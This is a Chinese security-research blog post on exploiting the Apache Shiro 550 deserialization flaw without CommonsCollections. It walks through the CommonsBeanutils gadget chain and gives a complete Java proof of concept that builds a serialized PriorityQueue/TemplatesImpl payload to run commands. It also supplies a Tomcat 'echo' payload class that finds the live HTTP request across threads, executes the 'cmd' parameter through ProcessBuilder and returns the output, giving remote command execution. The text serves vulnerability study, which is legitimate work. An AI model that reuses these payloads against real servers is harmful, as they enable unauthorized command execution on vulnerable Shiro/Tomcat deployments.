0x00 前言

  1. 上篇文章:[https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi](https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi)
  2. 上一篇文中利用的是 cc11 作为 Gadget 进行注入,但是 cc 毕竟需要利用额外的依赖 CommonsCollections ,所以最理想的情况就是寻找一条 Shiro 自带的 Gadget ,至此 p 神前几天在知识星球中提出了 CommonsBeanutils 与无 CommonsCollections Shiro 反序列化利用
  3. 同时在上篇文章中利用的 Tomcat 通用回显仍然存在一些缺憾,也就是在 Tomcat 7 下由于结构问题导致无法获取到上下文中的 StandardContext ,但是后面在查看 [j1anFen](https://github.com/j1anFen) 师傅的 shiro_attack 工具的源码时,发现 j1anFen 师傅在工具中利用了一条全新的链,经测试发现在 Tomcat 7 中仍然适用,所以本篇文章来学习一下这条利用链
  4. 由于漏洞环境代码贴在文中会很大的文章篇幅,所以后面漏洞环境都会放在 Github
  5. Shiro漏洞环境:[https://github.com/KpLi0rn/ShiroVulnEnv](https://github.com/KpLi0rn/ShiroVulnEnv)

0x01 CommonsBeanutils

CommonsBeanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范的 Java 类
  • 若干private实例字段
  • 通过public方法来读写实例字段

PropertyUtils.getProperty() 传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

下面简单的展示一个例子,首先写一个符合规范的 Calc 类,然后编写一个 Demo 类使其自动调用 Calc 的 getter 方法,如下会自动调用 name 属性的 getter 函数,最终调用 getName()

PropertyUtils.getProperty(new Calc(),"name");

Calc:

import java.io.IOException;

public class Calc {
    private String name = "Hello,World";
    public String getName() throws IOException {
        System.out.println("getter...");
        return this.name;
    }
    public void setName(String name){
        System.out.println("setter...");
        this.name = name;
    }
}

Demo:

import org.apache.commons.beanutils.PropertyUtils;

public class Demo {
    public static void main(String[] args) throws Exception {
        PropertyUtils.getProperty(new Calc(),"name");
    }
}

效果如下:

自动调用了 Calc 的 getter 函数

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图1

0x02 CommonsBeanutils#compare

CommonsBeanutils 利用链中核心的触发位置就是 compare 函数,当调用 compare 函数时,其内部会调用我们前面说的 **getProperty** 函数,从而自动调用 JavaBean 中对应属性的 getter 函数,遇到这种情况自然可以联想到 TemplatesImpl 类,其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,所以我们这里控制下面 o1 为我们的 TemplatesImpl 对象,this.property 为我们的 outputProperties 属性,那么我们就可以通过 CommonsBeanutils#compare 来触发我们的 Templates 链了

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图2

接下来我们来看一下 getProperty 函数内部的逻辑

首先控制传入的 o1 为我们的 TemplatesImpl 对象,property 属性我们利用反射将其设置为 outputProperties 即可

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图3

跟进 getProperty 函数,发现最后来到 getNestedProperty 函数处

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图4

在 getNestedProperty 函数中,首先会经过一些判断,由于我们传入的 TemplatesImpl 对象并不符合这些判断,便会来到最后的 else 处,将 bean 和 name 作为参数传入了 getSimpleProperty 函数,跟进该函数

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图5

来到 getSimpleProperty 函数处,同样也是经过一系列判断之后将 bean 和 name 传入 getPropertyDescriptor 函数

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图6

来到 getPropertyDescriptor 函数,然后会将 bean 传入 getPropertyDescriptors 函数

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图7

在 getPropertyDescriptors 函数中,会获取我们传入实例的类,然后作为参数进入 getPropertyDescriptors 函数

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图8

在 getPropertyDescriptors 函数中,首先会从缓存中进行获取,由于我们是第一次,所以缓存中自然是没有

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图9

涉及Java内省:https://blog.csdn.net/qq_35029061/article/details/86664795

然后通过通过类Introspector来获取我们传入对象的 BeanInfo 信息,然后通过 BeanInfo 来获取属性描述对象数组 PropertyDescriptor[],拿到属性描述对象数组之后再循环数组,这样我们就能获取到我们想要的属性的对应的 getter 方法了

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图10

然后遍历 descriptors ,由于并不是 IndexedPropertyDescriptor 的实例,所以直接进行返回,返回之前会将其放到缓存中

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图11

重新回到 getPropertyDescriptor 函数中,将返回值赋给 descriptors

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图12

然后遍历数组中的内容,如果发现与我们输入的属性对应的属性描述器,就进行返回

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图13

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图14

然后从返回的属性描述器中获取对应的 getter 方法,也就是 getOutputProperties 方法,然后利用反射进行调用,从而触发我们的 TemplatesImpl 链

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图15

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图16

成功弹出计算器

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图17

0x03 利用链分析

我们先把 pom.xml 中的 CommonsCollections 依赖进行注释,CommonsBeanutils 1.8.3 是 Shiro 自带的

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图18

在前面我们提到通过将 TemplatesImpl 实例传入 CommonsBeanutils#compare 函数中 (this.property 可以利用反射控制),就能触发我们的 TemplatesImpl 链,从而最终弹计算器

所以我们现在只需要寻找一个类似 x.compare(a,b) 的点,其中 x 和 a 可控那么就可以了,看过 cc2 的师傅们应该会非常的熟悉,也就是 PriorityQueue ,该类的 siftDownUsingComparator 存在我们利用点,其中 comparator 和 x 都是可控的

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图19

具体分析可以看我先前写的 cc2 分析的文章,其中有详细写,文章链接:https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3

大致流程如下:

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图20

其中 queue 和 comparator是可控的,comparator 我们直接可以在初始化的时候进行赋值

s.readObject() 的结果赋值给 queue,s是序列化后的,所以我们得去看 writeObject

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图21

在 writeObject 中,将 queue 属性进行了序列化,queue 可用反射进行修改

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图22

最终 Poc 如下:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * 利用链:
 *  PriorityQueue#readObject
 *    PriorityQueue#heapify
 *      PriorityQueue#siftDown
 *        PriorityQueue#siftDownUsingComparator
 *          BeanComparator#compare
 *            TemplatesImpl#getOutputProperties
 *              Runtime....
 */

public class CommonsBeanutils {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Calc" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); 

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_name","name");
        setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()});
        setField(templates,"_tfactory",new TransformerFactoryImpl());
        setField(templates, "_class", null);

        BeanComparator comparator = new BeanComparator();

        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setField(priorityQueue,"queue",new Object[]{templates,templates});
        setField(comparator,"property","outputProperties");

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
        outputStream.writeObject(priorityQueue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
        inputStream.readObject();
        inputStream.close();

    }

    public static void setField(Object object,String field,Object args) throws Exception{
        Field f0 = object.getClass().getDeclaredField(field);
        f0.setAccessible(true);
        f0.set(object,args);
    }
}

将生成的序列化文件进行 AES 加密之后进行发送,成功触发计算器

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图23

0x04 更通用的 Tomcat 回显方案

在前一篇文章中我们的 request 是从 AbstractProtocolShiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图24ConnectoinHandler 是从 Thread.currentThread().getContextClassLoader() 里面一步步获取到的,但是由于 Tomcat 7 的结构不一样导致获取不到

Tomcat 9:

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图25

Tomcat 7:

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图26

所以由于结构不同导致上一篇介绍的方法在 Tomcat 7 中无法使用

所以现在我们重新来思考一下我们从 Thread.currentThread().getContextClassLoader() 中获取 StandardService 再到获取 Connector目的是什么, 其实目的就是为了获取 AbstractProtocol![](https://g.yuque.com/gr/latex?ConnectoinHandler%20%EF%BC%8C%E5%9B%A0%E4%B8%BA%20request%20%E5%AD%98%E5%9C%A8%E8%AF%A5%E5%AF%B9%E8%B1%A1%E7%9A%84%20global%20%E5%B1%9E%E6%80%A7%E4%B8%AD%E7%9A%84%20processors%20%E4%B8%AD%EF%BC%8C%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%85%B6%E5%AE%9E%E6%8E%A5%E4%B8%8B%E6%9D%A5%E7%9B%AE%E7%9A%84%E5%B0%B1%E6%98%AF%E4%B8%BA%E4%BA%86%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E5%9C%B0%E6%96%B9%E5%AD%98%E5%82%A8%E8%BF%99%20AbstractProtocol#card=math&code=ConnectoinHandler%20%EF%BC%8C%E5%9B%A0%E4%B8%BA%20request%20%E5%AD%98%E5%9C%A8%E8%AF%A5%E5%AF%B9%E8%B1%A1%E7%9A%84%20global%20%E5%B1%9E%E6%80%A7%E4%B8%AD%E7%9A%84%20processors%20%E4%B8%AD%EF%BC%8C%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%85%B6%E5%AE%9E%E6%8E%A5%E4%B8%8B%E6%9D%A5%E7%9B%AE%E7%9A%84%E5%B0%B1%E6%98%AF%E4%B8%BA%E4%BA%86%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E5%9C%B0%E6%96%B9%E5%AD%98%E5%82%A8%E8%BF%99%20AbstractProtocol&id=jflM8)ConnectoinHandler

发现在 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpoint![](https://g.yuque.com/gr/latex?Handler%20%E5%AE%9A%E4%B9%89%E7%9A%84%EF%BC%8C%E5%90%8C%E6%97%B6%20Handler%20%E7%9A%84%E5%AE%9E%E7%8E%B0%E7%B1%BB%E6%98%AF%20AbstractProtocol#card=math&code=Handler%20%E5%AE%9A%E4%B9%89%E7%9A%84%EF%BC%8C%E5%90%8C%E6%97%B6%20Handler%20%E7%9A%84%E5%AE%9E%E7%8E%B0%E7%B1%BB%E6%98%AF%20AbstractProtocol&id=ptoun)ConnectoinHandler

因为 AbstractEndpoint 是抽象类,且抽象类不能被实例化,需要被子类继承,所以我们去寻找其对应的子类,找到了对应的子类我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图27

下面红框处是 AbstractEndpoint 的子类,那么我们需要寻找一种能被我们获取到的,最好是可以直接从线程中进行获取

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图28

这里我们来看到 NioEndpoint 类

详细请看:https://blog.csdn.net/jy02268879/article/details/108863679

这里介绍 NioEndpoint 是主要符合接受和处理 socket 的且其中实现了socket请求监听线程Acceptor、socket NIO poller线程、以及请求处理线程池

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图29

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图30

所以我们可以通过遍历线程,然后获取到 NioEndpoint$Poller ,然后通过获取其父类 NioEndpoint,进而获取到 handler->global-> processors->request

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图31

该方法在 Tomcat 7 中同样适用

这里的测试环境是 Tomcat 7 代码是 p牛 https://github.com/phith0n/JavaThings 中的 shirodemo

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案 - 图32

利用代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Session;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;

public class TomcatEcho extends AbstractTranslet {

    static {
        try {
            boolean flag = false;
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for (int i=0;i<threads.length;i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")){
                        Object target = getField(thread,"target");
                        Object global = null;
                        if (target instanceof Runnable){
                            // 需要遍历其中的 this$0/handler/global
                            // 需要进行异常捕获,因为存在找不到的情况
                            try {
                                global = getField(getField(getField(target,"this$0"),"handler"),"global");
                            } catch (NoSuchFieldException fieldException){
                                fieldException.printStackTrace();
                            }
                        }
                        // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                        if (global != null){
                            List processors = (List) getField(global,"processors");
                            for (i=0;i<processors.size();i++){
                                RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                if (requestInfo != null){
                                    Request tempRequest = (Request) getField(requestInfo,"req");
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    Response response = request.getResponse();

                                    String cmd = null;
                                    if (request.getParameter("cmd") != null){
                                        cmd =  request.getParameter("cmd");
                                    }

                                    if (cmd != null){
                                        System.out.println(cmd);
                                        InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
                                        StringBuilder sb = new StringBuilder("");
                                        byte[] bytes = new byte[1024];
                                        int n = 0 ;
                                        while ((n=inputStream.read(bytes)) != -1){
                                            sb.append(new String(bytes,0,n));
                                        }

                                        Writer writer = response.getWriter();
                                        writer.write(sb.toString());
                                        writer.flush();
                                        inputStream.close();
                                        System.out.println("success");
                                        flag = true;
                                        break;
                                    }
                                    if (flag){
                                        break;
                                    }
                                }
                            }
                        }
                    }
                }
                if (flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }

    }


    public static Object getField(Object obj,String fieldName) throws Exception{
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

完整利用代码在 https://github.com/KpLi0rn/ShiroVulnEnv 项目的 /src/test/java下

0x05 总结

前前后后踩了好多坑,也从中学习到了很多,今天文中的这条不出意外的话应该是 Tomcat 的版本都可行的,最后感谢 p牛 感谢 j1anFen 感谢各位前辈